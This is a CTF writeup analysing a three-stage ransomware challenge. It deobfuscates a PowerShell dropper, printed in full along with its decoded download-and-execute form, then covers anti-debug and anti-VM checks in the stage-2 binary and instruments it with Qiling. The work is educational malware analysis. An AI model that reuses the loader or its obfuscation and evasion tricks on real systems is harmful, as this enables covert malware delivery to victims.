Unionware Writeup Part A [UnionCTF 2021]

Unionware Writeup Part A [UnionCTF 2021]

2021/10/10
CTF Writeup
unionctf-2021, reverse engineering, malware analysis, powershell, windows, qiling, cutter

Introduction #

In early 2021, I started playing Capture the Flag challenges (CTFs), as I was interested in delving deeper into computer security. The very first CTF I played was UnionCTF 2021 in February 2021. This was billed as a medium-hard CTF (so in retrospect, this may not have been the best one to get started with as a new player), but I learned a lot, and have continued to play more CTFs since then.

I worked on 1 challenge, Unionware, the entire duration of the CTF. This was a really fun 3-stage ransomware reversing challenge that I unfortunately was not able to solve during the CTF. However, I wrote down a lot of notes when trying to solve the challenge, and I’ve been gradually cleaning up those notes to put them together into this writeup.

This challenge covers a number of topics - malware analysis and Windows systems programming - that I was pretty unfamilar with at the time, so this was a great opportunity to learn. During the CTF, I also learned and used a binary instrumentation and emulation tool, Qiling, which was really helpful in doing dynamic analysis for this challenge. Because I was learning along the way, I’ve tried to write this a bit more on the verbose and descriptive side.

This is part A of the full writeup, and mostly covers what I solved during the CTF - the first 2 out of 3 stages of this challenge. Part B is coming (whenever I have more time).

Thanks to my team, xtal, for making my first CTF a great experience. Thanks as well to my teammate, holz, for walking me through some of the anti-debug mechanisms used in the stage 2 binary for this challenge!

Challenge overview #

The challenge description:

My mom ran something on her computer and encrypted some important files!

Can you recover them for me?

DISCLAIMER: This is functioning malware, make sure to exercise care and run this in a VM.

Author: xenocidewiki

There are 2 files included with the challenge:

  • calculator.ps1. This is a Powershell script.
  • homework.txt.unionware. This is a file full of binary data, and seems to be the data encrypted by the ransomware.

Right away, Windows Defender flags calculator.ps1 as malicious and automatically removes it 😇.

Tools and files #

I used the following tools for this challenge:

  • Windows Sandbox. This is a easy way to run applications in a sandbox if you have access to Windows 10 Pro / Enterprise / Education edition.
    • It does have some flaws in that a) the sandbox machine has access to your local network by default, and b) the sandbox is not persistent in any way, and you can’t take snapshots. I didn’t have any Windows VMs handy on the machine that I played this CTF on, so I just used Windows Sandbox at the time, since it was quick and easy to spin up an isolated environment, and since this isn’t “real” malware but rather a challenge designed for a CTF. However, for future malware analysis I will be setting up a real, isolated VM lab environment.
  • Cutter, a free and open source binary analysis tool. It provides disassembly and decompilation capabilities.
  • Qiling, a Python-based binary instrumentation framework. I’ll be talking about this in more detail later on in the writeup.

The infrastructure for UnionCTF is down now, and this challenge does (spoiler alert) involve downloading some additional files from a remote server. Therefore, I’ve uploaded both the original challenge files and the additional downloaded files to a Github repository, here: https://github.com/cxiao/unionware-writeup. (As the challenge description says, please be cautious with these files as this is malware.)

Stage 1: Deobfuscating some Powershell #

Let’s look at the contents of calculator.ps1 (this is all one very long line, so scroll right to view more)

-joIN ( '105%102n40%36n69M78%86M58:85%115a101_114M68n111:109u97C105n110C32n45M101a113C32n34:72O77O82C67u34O41u32u123a13:10_32H32n32M32:40u78_101H119n45u79%98%106H101O99n116C32H39:78H101n116C46M87H101u98O67_108M105H101M110M116C39n41M46M68n111u119u110O108n111M97n100M70n105H108O101u40%34:104n116u116n112a115M58u47C47M115a116n111C114M97n103a101M46a103C111a111u103O108C101%97a112u105_115n46_99M111n109_47M101M117n45:117C110_105H111H110%99H116_102O45u50u48C50u49O47u108n110n69M76:75:78n100O111H105a101:46n101_120M101n34M44O32C34C36_69n78M86_58a116n101u109O112H92H108_110a69_76%75%78a100a111:105u101_46:101n120%101:34C41O13M10a32u32u32u32M115n116M97n114u116%32n36O69M78u86M58_116:101n109a112:92a108O110M69a76M75O78C100a111:105u101:46M101u120C101%13:10n125' -spLIT'a'-SPlIT'n'-SPLit ':'-spLiT 'u'-sPLIT '%' -SpLiT 'O' -sPLiT 'H'-SpLit'C' -SPLit'M' -spLIt '_' |%{ ( [ChAr][int]$_)} )|. ((gV '*mdR*').naME[3,11,2]-jOiN'')

Let’s reformat this into something more readable. (Note that Powershell is case-insensitive, so I’ve also normalized the capitalization here.)

-join (
'105%102n40%36n69M78%86M58:85%115a101_114M68n111:109u97C105n110C32n45M101a113C32n34:72O77O82C67u34O41u32u123a13:10_32H32n32M32:40u78_101H119n45u79%98%106H101O99n116C32H39:78H101n116C46M87H101u98O67_108M105H101M110M116C39n41M46M68n111u119u110O108n111M97n100M70n105H108O101u40%34:104n116u116n112a115M58u47C47M115a116n111C114M97n103a101M46a103C111a111u103O108C101%97a112u105_115n46_99M111n109_47M101M117n45:117C110_105H111H110%99H116_102O45u50u48C50u49O47u108n110n69M76:75:78n100O111H105a101:46n101_120M101n34M44O32C34C36_69n78M86_58a116n101u109O112H92H108_110a69_76%75%78a100a111:105u101_46:101n120%101:34C41O13M10a32u32u32u32M115n116M97n114u116%32n36O69M78u86M58_116:101n109a112:92a108O110M69a76M75O78C100a111:105u101:46M101u120C101%13:10n125'
    -split 'a' -split 'n' -split ':' -split 'u' -split '%' -split 'O' -split 'H' -split 'C' -split 'M' -split '_'
    | %
    {
        ( [char][int]$_)
    }
    )
    |.((gv '*mdR*').name[3,11,2] -join '')
)

Let’s break this down:

  • join operator joins strings, e.g. join ("Hello" , "World.", "This" , "is" , "a" , "beautiful" , "day.")
  • split operator splits strings using the provided delimiter, e.g. 'Chocolate-Vanilla-Strawberry-Blueberry' -split '(-)', 3
  • | is a pipe.
  • [char][int] is a cast.
  • $_ is the current variable in the pipeline.

By default, Powershell also provides a number of built-in aliases for many commands, all of which you can view via the Get-Alias command.

Some of these aliases are used in the output above:

In full, with aliases removed:

-join (
'105%102n40%36n69M78%86M58:85%115a101_114M68n111:109u97C105n110C32n45M101a113C32n34:72O77O82C67u34O41u32u123a13:10_32H32n32M32:40u78_101H119n45u79%98%106H101O99n116C32H39:78H101n116C46M87H101u98O67_108M105H101M110M116C39n41M46M68n111u119u110O108n111M97n100M70n105H108O101u40%34:104n116u116n112a115M58u47C47M115a116n111C114M97n103a101M46a103C111a111u103O108C101%97a112u105_115n46_99M111n109_47M101M117n45:117C110_105H111H110%99H116_102O45u50u48C50u49O47u108n110n69M76:75:78n100O111H105a101:46n101_120M101n34M44O32C34C36_69n78M86_58a116n101u109O112H92H108_110a69_76%75%78a100a111:105u101_46:101n120%101:34C41O13M10a32u32u32u32M115n116M97n114u116%32n36O69M78u86M58_116:101n109a112:92a108O110M69a76M75O78C100a111:105u101:46M101u120C101%13:10n125'
    -split 'a' -split 'n' -split ':' -split 'u' -split '%' -split 'O' -split 'H' -split 'C' -split 'M' -split '_'
    | %
    {
        ( [char][int]$_)
    }
    )
    |.((gv '*mdR*').name[3,11,2] -join '')
)

This is still quite obfuscated, but it seems like we are unpacking the data in the string, converting to a command string, and then invoking that command string in some way.

Can we deobfuscate this easily? There are tools such as PSDecode which will help us do this, but we can also do it by hand with the help of Powershell ISE, which will allow us to interactively examine the script and see the values of intermediate variables as we run portions of the script.

Let’s just examine the first part of the pipeline, and see what the result is after the string is split:

$splitdata = '105%102n40%36n69M78%86M58:85%115a101_114M68n111:109u97C105n110C32n45M101a113C32n34:72O77O82C67u34O41u32u123a13:10_32H32n32M32:40u78_101H119n45u79%98%106H101O99n116C32H39:78H101n116C46M87H101u98O67_108M105H101M110M116C39n41M46M68n111u119u110O108n111M97n100M70n105H108O101u40%34:104n116u116n112a115M58u47C47M115a116n111C114M97n103a101M46a103C111a111u103O108C101%97a112u105_115n46_99M111n109_47M101M117n45:117C110_105H111H110%99H116_102O45u50u48C50u49O47u108n110n69M76:75:78n100O111H105a101:46n101_120M101n34M44O32C34C36_69n78M86_58a116n101u109O112H92H108_110a69_76%75%78a100a111:105u101_46:101n120%101:34C41O13M10a32u32u32u32M115n116M97n114u116%32n36O69M78u86M58_116:101n109a112:92a108O110M69a76M75O78C100a111:105u101:46M101u120C101%13:10n125' -spLIT'a' -SPlIT'n' -SPLit ':' -spLiT 'u' -sPLIT '%' -SpLiT 'O' -sPLiT 'H' -SpLit'C' -SPLit'M' -spLIt '_'

$splitdata | ConvertTo-Json -Compress
["105","102","40","36","69","78","86","58","85","115","101","114","68","111","109","97","105","110","32","45","101","113","32","34","72","77","82","67","34","41","32","123","13","10","32","32
","32","32","40","78","101","119","45","79","98","106","101","99","116","32","39","78","101","116","46","87","101","98","67","108","105","101","110","116","39","41","46","68","111","119","110
","108","111","97","100","70","105","108","101","40","34","104","116","116","112","115","58","47","47","115","116","111","114","97","103","101","46","103","111","111","103","108","101","97","
112","105","115","46","99","111","109","47","101","117","45","117","110","105","111","110","99","116","102","45","50","48","50","49","47","108","110","69","76","75","78","100","111","105","10
1","46","101","120","101","34","44","32","34","36","69","78","86","58","116","101","109","112","92","108","110","69","76","75","78","100","111","105","101","46","101","120","101","34","41","1
3","10","32","32","32","32","115","116","97","114","116","32","36","69","78","86","58","116","101","109","112","92","108","110","69","76","75","78","100","111","105","101","46","101","120","1
01","13","10","125"]

These numbers are all values within ASCII range, so the [ChAr][int]$_ in the next part of the pipeline should be able to just resolve each of these values to a character, which are then joined together to a string. Putting our intermediate value into the next part of the pipeline:

($splitdata | ForEach-Object {([ChAr][int]$_)}) -join ''

The resulting string is another Powershell code snippet, which downloads an executable and runs it! This is the stage 2 of this malware.

if($ENV:UserDomain -eq "HMRC") {
    (New-Object 'Net.WebClient').DownloadFile("<https://storage.googleapis.com/eu-unionctf-2021/lnELKNdoie.exe>", "$ENV:temp\\lnELKNdoie.exe")
    start $ENV:temp\\lnELKNdoie.exe
}

The last part of the pipeline, starting with Get-Variable, will put that code into Invoke-Expression (alias iex) and run it. The alias is constructed by taking letters from the name of a built-in variable, MaximumDriveCount. iex is then run via using the dot sourcing operator, and the contents of the script above are piped to it.

PS> Get-Variable '*mdR*'

Name                           Value
----                           -----
MaximumDriveCount              4096

PS> ((Get-Variable '*mdR*').name[3, 11, 2]) -join''
iex

# An example of using the dot sourcing operator to run Invoke-Expression,
# and piping a script to Invoke-Expression
PS> "Write-Output 'Hello World'" | .("iex")
Hello World

Note the conditional in the piped script which checks the value of the user domain environment variable before downloading and running the stage 2 executable - this ensures that even if you do just run the Powershell script, nothing will actually happen (unless your Windows domain happens to be HMRC).

We can now go download the stage 2 executable, lnELKNdoie.exe, ourselves from the URL provided in the script. Of course, since the challenge infrastructure is down, we can’t actually get it from the provided URL anymore; if you’re following along now, you can still grab the executable from https://github.com/cxiao/unionware-writeup.

Stage 2: Deobfuscating some DLL imports #

Initial analysis #

We can start by just running the downloaded stage 2 executable inside our VM. We’ll need MSVCP140.dll and VCRUNTIME140.dll from the Microsoft Visual C/C++ runtime libraries; to install these, download the Visual C++ Redistributable installer. Note that we’ll need the x86_32 versions as this is a 32-bit executable.

However, just running the program and attaching to it with Process Monitor doesn’t seem to reveal anything interesting. In Process Monitor, all we see is a bunch of process setup and teardown boilerplate before the program exists - no interesting file reads/writes or system calls.

Process Monitor showing events for the stage 2 executable

If we take a look at the program in Cutter, we do notice that many functions have calls to LoadLibraryA and GetProcAddress. The program is loading in DLLs and importing functions from them. However, there are no obvious function name or library name strings inside the binary that it’s doing this with. We can see from the disassembly around these calls that there’s some obfuscation going on involving the arguments passed into these functions - moving some data into buffers and XORing it against some other data before finally passing the argument in.

Cutter showing obfuscated imports

There are >10 different “unpacker” functions which do this. I thought, at this point, that it would take a while to analyze these statically, so I decided to try some dynamic analysis. Can we view the values passed into the LoadLibraryA and GetProcAddress calls at runtime and see which functions the program is trying to import?

References to GetProcAddress

Attempting to debug + running into anti-debug #

The first obvious deobfuscation + dynamic lib import is in the function at 0x00403af0 (.text + 2af0). We can try breaking at the LoadLibraryA and GetProcAddress calls in that function with a debugger (at the time, I used x64dbg), but right away we notice that the program is crashing when we try to debug.

There may be some anti-debug, anti-VM, or anti-emulation techniques that the program implements here, i.e. the program will behave differently when a debugger is attached, when running in a VM, or when running under emulation, complicating dynamic analysis.

Check Point Research’s Anti-Debug Tricks site is a handy reference which summarizes and explains common anti-debug techniques in one place. Reading through the program disassembly again, we can see a number of techniques used:

0x00402157      rdtsc
0x00402159      mov esi, eax
0x0040215b      mov edi, edx
0x0040215d      mov ecx, eax
0x0040215f      mov eax, ecx
0x00402161      inc eax
0x00402162      dec eax
0x00402163      nop
0x00402164      rdtsc
0x00402166      sub eax, esi
0x00402168      sbb edx, edi
0x0040216a      test edx, edx
0x0040216c      ja 0x40214f
  • A bunch of in, out instructions, which are instructions which attempt to access physical I/O devices. This is an anti-VM technique rather than anti-debug; these instructions will behave diferently on a physical machine vs. a VM. These are privileged instructions, and usually we trigger an exception with type EXCEPTION_PRIV_INSTRUCTION when we attempt to run these from an unprivileged user-mode program. VM software will often have special handlers set up for these such that the behaviour is different from that of a physical machine.

A small detour about stack cookies

I originally thought that the entire function at 0x00406fd9 (decompiled code shown below), which gets called right after program entry (via another function which wraps it) was also an anti-debug mechanism. It turns out after some research that this is actually where the stack cookie (i.e. stack canary) is generated. This supports the buffer overrun protection that’s turned on by default when compiling with MSVC.

A unique, random cookie value is generated per thread and per process (see the calls to GetCurrentThreadId and GetCurrentProcessId in the decompiled code below). The cookie value is then placed on the stack right before the saved return address, and a check is done at function exit to determine whether the cookie has been mangled (by somebody attemping to overwrite the return address and redirect program execution); if it has, the program aborts. See here and the documentation for __security_init_cookie for more detail on the cookie generation. (It’s likely that the decompiled code below is just the implementation of __security_init_cookie in the MSVC runtime.)

uint32_t stack_cookie_init_0x00406fd9(void)
{
    uint32_t uVar1;
    uint32_t lpPerformanceCount;
    int32_t var_10h;
    uint32_t lpSystemTimeAsFileTime;
    int32_t var_8h;
    int32_t var_4h;

    lpSystemTimeAsFileTime = 0;
    var_8h = 0;
    (*_GetSystemTimeAsFileTime)(&lpSystemTimeAsFileTime);
    var_4h = var_8h ^ lpSystemTimeAsFileTime;
    uVar1 = (*_GetCurrentThreadId)();
    var_4h = var_4h ^ uVar1;
    uVar1 = (*_GetCurrentProcessId)();
    var_4h = var_4h ^ uVar1;
    (*_QueryPerformanceCounter)(&lpPerformanceCount);
    return var_10h ^ lpPerformanceCount ^ var_4h ^ (uint32_t)&var_4h;
}

There are quite a number of occurrences of the anti-debug checks scattered throughout the program - we could try to patch all of them out. However, at this point I decided to try to run the program in an emulator which allows us to instrument the program as it is running, to try to get an idea of what the “normal” control flow of the program is, and to patch out only the occurrences of the anti-debug checks that block the execution in the emulator.

Instrumentation using Qiling #

After some furious 3am googling some research, I decided to try instrumenting this binary with Qiling Framework. This is a Python library which provides an emulator inside which we can run a binary, and which also provides instrumentation capabilities for the binary being run under it. Using a Python script, we can view the disassembly along the execution path of the program, as well as hook into syscalls and system libraries, and display the values passed to them. This will allow us to inspect the values being passed in to the LoadLibraryA and GetProcAddress calls.

Installing Qiling and setting up for instrumenting Windows binaries

Setting up Qiling for our analysis is quite simple:

  • Qiling can be installed easily via pip: pip3 install qiling
  • To instrument Windows binaries, Qiling does rely on having copies of Windows system libraries. Because of copyright restrictions, Qiling cannot distribute them; you must copy those libraries from a Windows machine that you have access to. Qiling provides instructions on how to do this, as well as a script which automates this. The script can be found at examples/scripts/dllscollector.bat; running it on a Windows machine will copy some DLLs from your system folders to a folder that will serve as the root filesystem of your emulated system.
    • However, it is just an example script, and it won’t necessarily copy all the ones the instrumented executable might need. For my purposes, I just manually copied all the DLLs in %WINDIR%\System32 and %WINDIR%\SysWOW64.

To get started, I found this great tutorial by Abdallah Elshinbary which shows us the basics of using Qiling to disassemble the instrumented binary:

from qiling import *
from qiling.const import *
from capstone import *

def hook_callback(ql, address, size):
    # read current instruction bytes
    data = ql.mem.read(address, size)
    # initialize Capstone
    md = Cs(CS_ARCH_X86, CS_MODE_32)
    # disassemble current instruction
    for i in md.disasm(data, address):
        print("[*] 0x{:08x}: {} {}".format(i.address, i.mnemonic, i.op_str))

ql = Qiling(argv=[".\\lnELKNdoie.exe"], rootfs="./qiling/examples/rootfs/x8664_windows")
ql.hook_code(hook_callback)
ql.run()

If we run this script, we can see the disassembled instructions and calls to imported functions as the program runs, including the instructions at the point where we fail an anti-debug check and exit the program:

Initial disassembly from Qiling
[=]    Initiate stack address at 0xfffdd000
[=]    Loading .\\lnELKNdoie.exe to 0x400000
[=]    PE entry point at 0x406c23
[=]    TEB addr is 0x6000
[=]    PEB addr is 0x6044
[=]    Loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\ntdll.dll to 0x10000000
[!]    Warnings while loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\ntdll.dll:
[!]     - SizeOfHeaders is smaller than AddressOfEntryPoint: this file cannot run under Windows 8.
[!]     - AddressOfEntryPoint lies outside the sections' boundaries. AddressOfEntryPoint: 0x0
[=]    Done with loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\ntdll.dll
[=]    Loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\kernel32.dll to 0x101f6000
[=]    Done with loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\kernel32.dll
[=]    Loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\msvcp140.dll to 0x102b3000
[=]    Done with loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\msvcp140.dll
[=]    Loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\vcruntime140.dll to 0x10345000
[=]    Done with loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\vcruntime140.dll
[=]    Loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-runtime-l1-1-0.dll to 0x1035e000
[!]    Warnings while loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-runtime-l1-1-0.dll:
[!]     - SizeOfHeaders is smaller than AddressOfEntryPoint: this file cannot run under Windows 8.
[!]     - AddressOfEntryPoint lies outside the sections' boundaries. AddressOfEntryPoint: 0x0
[=]    Done with loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-runtime-l1-1-0.dll
[=]    Loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-string-l1-1-0.dll to 0x10362000
[!]    Warnings while loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-string-l1-1-0.dll:
[!]     - SizeOfHeaders is smaller than AddressOfEntryPoint: this file cannot run under Windows 8.
[!]     - AddressOfEntryPoint lies outside the sections' boundaries. AddressOfEntryPoint: 0x0
[=]    Done with loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-string-l1-1-0.dll
[=]    Loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-heap-l1-1-0.dll to 0x10366000
[!]    Warnings while loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-heap-l1-1-0.dll:
[!]     - SizeOfHeaders is smaller than AddressOfEntryPoint: this file cannot run under Windows 8.
[!]     - AddressOfEntryPoint lies outside the sections' boundaries. AddressOfEntryPoint: 0x0
[=]    Done with loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-heap-l1-1-0.dll
[=]    Loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-math-l1-1-0.dll to 0x10369000
[!]    Warnings while loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-math-l1-1-0.dll:
[!]     - SizeOfHeaders is smaller than AddressOfEntryPoint: this file cannot run under Windows 8.
[!]     - AddressOfEntryPoint lies outside the sections' boundaries. AddressOfEntryPoint: 0x0
[=]    Done with loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-math-l1-1-0.dll
[=]    Loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-stdio-l1-1-0.dll to 0x1036e000
[!]    Warnings while loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-stdio-l1-1-0.dll:
[!]     - SizeOfHeaders is smaller than AddressOfEntryPoint: this file cannot run under Windows 8.
[!]     - AddressOfEntryPoint lies outside the sections' boundaries. AddressOfEntryPoint: 0x0
[=]    Done with loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-stdio-l1-1-0.dll
[=]    Loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-locale-l1-1-0.dll to 0x10372000
[!]    Warnings while loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-locale-l1-1-0.dll:
[!]     - SizeOfHeaders is smaller than AddressOfEntryPoint: this file cannot run under Windows 8.
[!]     - AddressOfEntryPoint lies outside the sections' boundaries. AddressOfEntryPoint: 0x0
[=]    Done with loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-locale-l1-1-0.dll
[*] 0x00406c23: call 0x407026
[*] 0x00407026: mov ecx, dword ptr [0x40a004]
[*] 0x0040702c: push esi
[*] 0x0040702d: push edi
[*] 0x0040702e: mov edi, 0xbb40e64e
[*] 0x00407033: mov esi, 0xffff0000
[*] 0x00407038: cmp ecx, edi
[*] 0x0040703a: je 0x407040
[*] 0x0040703c: test esi, ecx
[*] 0x0040703e: jne 0x407066
[*] 0x00407040: call 0x406fd9
[*] 0x00406fd9: push ebp
[*] 0x00406fda: mov ebp, esp
[*] 0x00406fdc: sub esp, 0x14
[*] 0x00406fdf: and dword ptr [ebp - 0xc], 0
[*] 0x00406fe3: lea eax, [ebp - 0xc]
[*] 0x00406fe6: and dword ptr [ebp - 8], 0
[*] 0x00406fea: push eax
[*] 0x00406feb: call dword ptr [0x408024]
[=]    GetSystemTimeAsFileTime(lpSystemTimeAsFileTime = 0xffffcfe0)
[*] 0x1020db80: dec eax
[*] 0x00406ff1: mov eax, dword ptr [ebp - 8]
[*] 0x00406ff4: xor eax, dword ptr [ebp - 0xc]
[*] 0x00406ff7: mov dword ptr [ebp - 4], eax
[*] 0x00406ffa: call dword ptr [0x408020]
[=]    GetCurrentThreadId() = 0x0
[*] 0x1020b550: dec eax
[*] 0x00407000: xor dword ptr [ebp - 4], eax
[*] 0x00407003: call dword ptr [0x40801c]
[=]    GetCurrentProcessId() = 0x7cc
[*] 0x1021a890: jmp dword ptr [0x5d33a]
[*] 0x00407009: xor dword ptr [ebp - 4], eax
[*] 0x0040700c: lea eax, [ebp - 0x14]
[*] 0x0040700f: push eax
[*] 0x00407010: call dword ptr [0x408018]
[=]    QueryPerformanceCounter(lpPerformanceCount = 0xffffcfd8) = 0x0
[*] 0x1020bc10: dec eax
[*] 0x00407016: mov eax, dword ptr [ebp - 0x10]
[*] 0x00407019: lea ecx, [ebp - 4]
[*] 0x0040701c: xor eax, dword ptr [ebp - 0x14]
[*] 0x0040701f: xor eax, dword ptr [ebp - 4]
[*] 0x00407022: xor eax, ecx
[*] 0x00407024: leave
[*] 0x00407025: ret
[*] 0x00407045: mov ecx, eax
[*] 0x00407047: cmp ecx, edi
[*] 0x00407049: jne 0x407052
[*] 0x00407052: test esi, ecx
[*] 0x00407054: jne 0x407060
[*] 0x00407060: mov dword ptr [0x40a004], ecx
[*] 0x00407066: not ecx
[*] 0x00407068: pop edi
[*] 0x00407069: mov dword ptr [0x40a000], ecx
[*] 0x0040706f: pop esi
[*] 0x00407070: ret
[*] 0x00406c28: jmp 0x406aa1
[*] 0x00406aa1: push 0x14
[*] 0x00406aa3: push 0x408880
[*] 0x00406aa8: call 0x407320
[*] 0x00407320: push 0x407378
[*] 0x00407325: push dword ptr fs:[0]
[*] 0x0040732b: mov eax, dword ptr [esp + 0x10]
[*] 0x0040732f: mov dword ptr [esp + 0x10], ebp
[*] 0x00407333: lea ebp, [esp + 0x10]
[*] 0x00407337: sub esp, eax
[*] 0x00407339: push ebx
[*] 0x0040733a: push esi
[*] 0x0040733b: push edi
[*] 0x0040733c: mov eax, dword ptr [0x40a004]
[*] 0x00407341: xor dword ptr [ebp - 4], eax
[*] 0x00407344: xor eax, ebp
[*] 0x00407346: push eax
[*] 0x00407347: mov dword ptr [ebp - 0x18], esp
[*] 0x0040734a: push dword ptr [ebp - 8]
[*] 0x0040734d: mov eax, dword ptr [ebp - 4]
[*] 0x00407350: mov dword ptr [ebp - 4], 0xfffffffe
[*] 0x00407357: mov dword ptr [ebp - 8], eax
[*] 0x0040735a: lea eax, [ebp - 0x10]
[*] 0x0040735d: mov dword ptr fs:[0], eax
[*] 0x00407362: bnd ret
[*] 0x00406aad: push 1
[*] 0x00406aaf: call 0x406dfe
[*] 0x00406dfe: push ebp
[*] 0x00406dff: mov ebp, esp
[*] 0x00406e01: cmp dword ptr [ebp + 8], 0
[*] 0x00406e05: jne 0x406e0e
[*] 0x00406e0e: call 0x4073a7
[*] 0x004073a7: push ebp
[*] 0x004073a8: mov ebp, esp
[*] 0x004073aa: and dword ptr [0x40a3f0], 0
[*] 0x004073b1: sub esp, 0x24
[*] 0x004073b4: or dword ptr [0x40a010], 1
[*] 0x004073bb: push 0xa
[*] 0x004073bd: call 0x407649
[*] 0x00407649: jmp dword ptr [0x408014]
[=]    IsProcessorFeaturePresent(ProcessorFeature = 0xa) = 0x1
[*] 0x10213b40: dec eax
[*] 0x004073c2: test eax, eax
[*] 0x004073c4: je 0x407573
[*] 0x004073ca: and dword ptr [ebp - 0x10], 0
[*] 0x004073ce: xor eax, eax
[*] 0x004073d0: push ebx
[*] 0x004073d1: push esi
[*] 0x004073d2: push edi
[*] 0x004073d3: xor ecx, ecx
[*] 0x004073d5: lea edi, [ebp - 0x24]
[*] 0x004073d8: push ebx
[*] 0x004073d9: cpuid
[*] 0x004073db: mov esi, ebx
[*] 0x004073dd: pop ebx
[*] 0x004073de: mov dword ptr [edi], eax
[*] 0x004073e0: mov dword ptr [edi + 4], esi
[*] 0x004073e3: mov dword ptr [edi + 8], ecx
[*] 0x004073e6: xor ecx, ecx
[*] 0x004073e8: mov dword ptr [edi + 0xc], edx
[*] 0x004073eb: mov eax, dword ptr [ebp - 0x24]
[*] 0x004073ee: mov edi, dword ptr [ebp - 0x1c]
[*] 0x004073f1: mov dword ptr [ebp - 0xc], eax
[*] 0x004073f4: xor edi, 0x6c65746e
[*] 0x004073fa: mov eax, dword ptr [ebp - 0x18]
[*] 0x004073fd: xor eax, 0x49656e69
[*] 0x00407402: mov dword ptr [ebp - 8], eax
[*] 0x00407405: mov eax, dword ptr [ebp - 0x20]
[*] 0x00407408: xor eax, 0x756e6547
[*] 0x0040740d: mov dword ptr [ebp - 4], eax
[*] 0x00407410: xor eax, eax
[*] 0x00407412: inc eax
[*] 0x00407413: push ebx
[*] 0x00407414: cpuid
[*] 0x00407416: mov esi, ebx
[*] 0x00407418: pop ebx
[*] 0x00407419: lea ebx, [ebp - 0x24]
[*] 0x0040741c: mov dword ptr [ebx], eax
[*] 0x0040741e: mov eax, dword ptr [ebp - 4]
[*] 0x00407421: mov dword ptr [ebx + 4], esi
[*] 0x00407424: or eax, edi
[*] 0x00407426: or eax, dword ptr [ebp - 8]
[*] 0x00407429: mov dword ptr [ebx + 8], ecx
[*] 0x0040742c: mov dword ptr [ebx + 0xc], edx
[*] 0x0040742f: jne 0x407474
[*] 0x00407474: mov edi, dword ptr [0x40a3f4]
[*] 0x0040747a: mov ecx, dword ptr [ebp - 0x1c]
[*] 0x0040747d: push 7
[*] 0x0040747f: pop eax
[*] 0x00407480: mov dword ptr [ebp - 4], ecx
[*] 0x00407483: cmp dword ptr [ebp - 0xc], eax
[*] 0x00407486: jl 0x4074b7
[*] 0x004074b7: mov ebx, dword ptr [ebp - 0x10]
[*] 0x004074ba: mov eax, dword ptr [0x40a010]
[*] 0x004074bf: or eax, 2
[*] 0x004074c2: mov dword ptr [0x40a3f0], 1
[*] 0x004074cc: mov dword ptr [0x40a010], eax
[*] 0x004074d1: test ecx, 0x100000
[*] 0x004074d7: je 0x407570
[*] 0x004074dd: or eax, 4
[*] 0x004074e0: mov dword ptr [0x40a3f0], 2
[*] 0x004074ea: mov dword ptr [0x40a010], eax
[*] 0x004074ef: test ecx, 0x8000000
[*] 0x004074f5: je 0x407570
[*] 0x00407570: pop edi
[*] 0x00407571: pop esi
[*] 0x00407572: pop ebx
[*] 0x00407573: xor eax, eax
[*] 0x00407575: leave
[*] 0x00407576: ret
[*] 0x00406e13: call 0x40708a
[*] 0x0040708a: mov al, 1
[*] 0x0040708c: ret
[*] 0x00406e18: test al, al
[*] 0x00406e1a: jne 0x406e20
[*] 0x00406e20: call 0x40708a
[*] 0x0040708a: mov al, 1
[*] 0x0040708c: ret
[*] 0x00406e25: test al, al
[*] 0x00406e27: jne 0x406e33
[*] 0x00406e33: mov al, 1
[*] 0x00406e35: pop ebp
[*] 0x00406e36: ret
[*] 0x00406ab4: pop ecx
[*] 0x00406ab5: test al, al
[*] 0x00406ab7: je 0x406c0d
[*] 0x00406abd: xor bl, bl
[*] 0x00406abf: mov byte ptr [ebp - 0x19], bl
[*] 0x00406ac2: and dword ptr [ebp - 4], 0
[*] 0x00406ac6: call 0x406dcc
[*] 0x00406dcc: push esi
[*] 0x00406dcd: call 0x407577
[*] 0x00407577: xor eax, eax
[*] 0x00407579: cmp dword ptr [0x40a014], eax
[*] 0x0040757f: setne al
[*] 0x00407582: ret
[*] 0x00406dd2: test eax, eax
[*] 0x00406dd4: je 0x406df6
[*] 0x00406dd6: mov eax, dword ptr fs:[0x18]
[*] 0x00406ddc: mov esi, 0x40a3b0
[*] 0x00406de1: mov edx, dword ptr [eax + 4]
[*] 0x00406de4: jmp 0x406dea
[*] 0x00406dea: xor eax, eax
[*] 0x00406dec: mov ecx, edx
[*] 0x00406dee: lock cmpxchg dword ptr [esi], ecx
[*] 0x00406df2: test eax, eax
[*] 0x00406df4: jne 0x406de6
[*] 0x00406df6: xor al, al
[*] 0x00406df8: pop esi
[*] 0x00406df9: ret
[*] 0x00406acb: mov byte ptr [ebp - 0x24], al
